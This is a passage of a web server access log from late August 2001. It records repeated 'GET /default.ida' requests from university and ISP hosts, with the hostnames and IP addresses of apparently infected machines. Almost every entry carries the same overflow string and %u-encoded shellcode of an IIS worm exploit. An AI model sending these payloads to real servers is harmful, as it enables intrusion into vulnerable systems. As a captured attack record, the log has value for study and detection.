/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:09:11: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:22:10: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:22:18: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:23:47: dl-tnt1-C8B12641.jfa.terra.com.br [200.177.38.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:37:46: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:40:32: Mix-Avignon-201-1-122.abo.wanadoo.fr [193.248.51.122] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:52:43: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 08:55:06: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 09:05:20: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 09:06:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 09:06:55: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 09:28:54: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 09:31:46: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 10:14:53: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 10:25:34: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 11:03:26: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 11:06:38: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 11:19:21: cgec.cob.vt.edu [128.173.175.117] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 11:47:17: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 12:02:03: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 12:04:05: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 12:04:38: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 14:45:39: bme2000s.bme.columbia.edu [128.59.56.124] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 14:45:39: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 14:45:39: merlin.cc.columbia.edu [128.59.39.247] "GET /NULL.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=X HTTP/1.1" 20010831 14:45:40: bme2000s.bme.columbia.edu [128.59.56.124] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 16:21:37: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 16:23:02: [211.22.119.253] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 17:17:32: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 17:33:36: res192-60-57.resnet.jhu.edu [128.220.192.34] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 18:03:31: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 20:50:20: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 21:20:30: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 21:23:19: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 21:57:09: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 22:16:33: DUDU.REM.CMU.EDU [128.237.161.252] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 00:44:19: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 03:31:34: r138030.res.Lehigh.EDU [128.180.138.30] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010901 04:48:35: wsgrhl721.law.columbia.edu [128.59.176.190] "GET 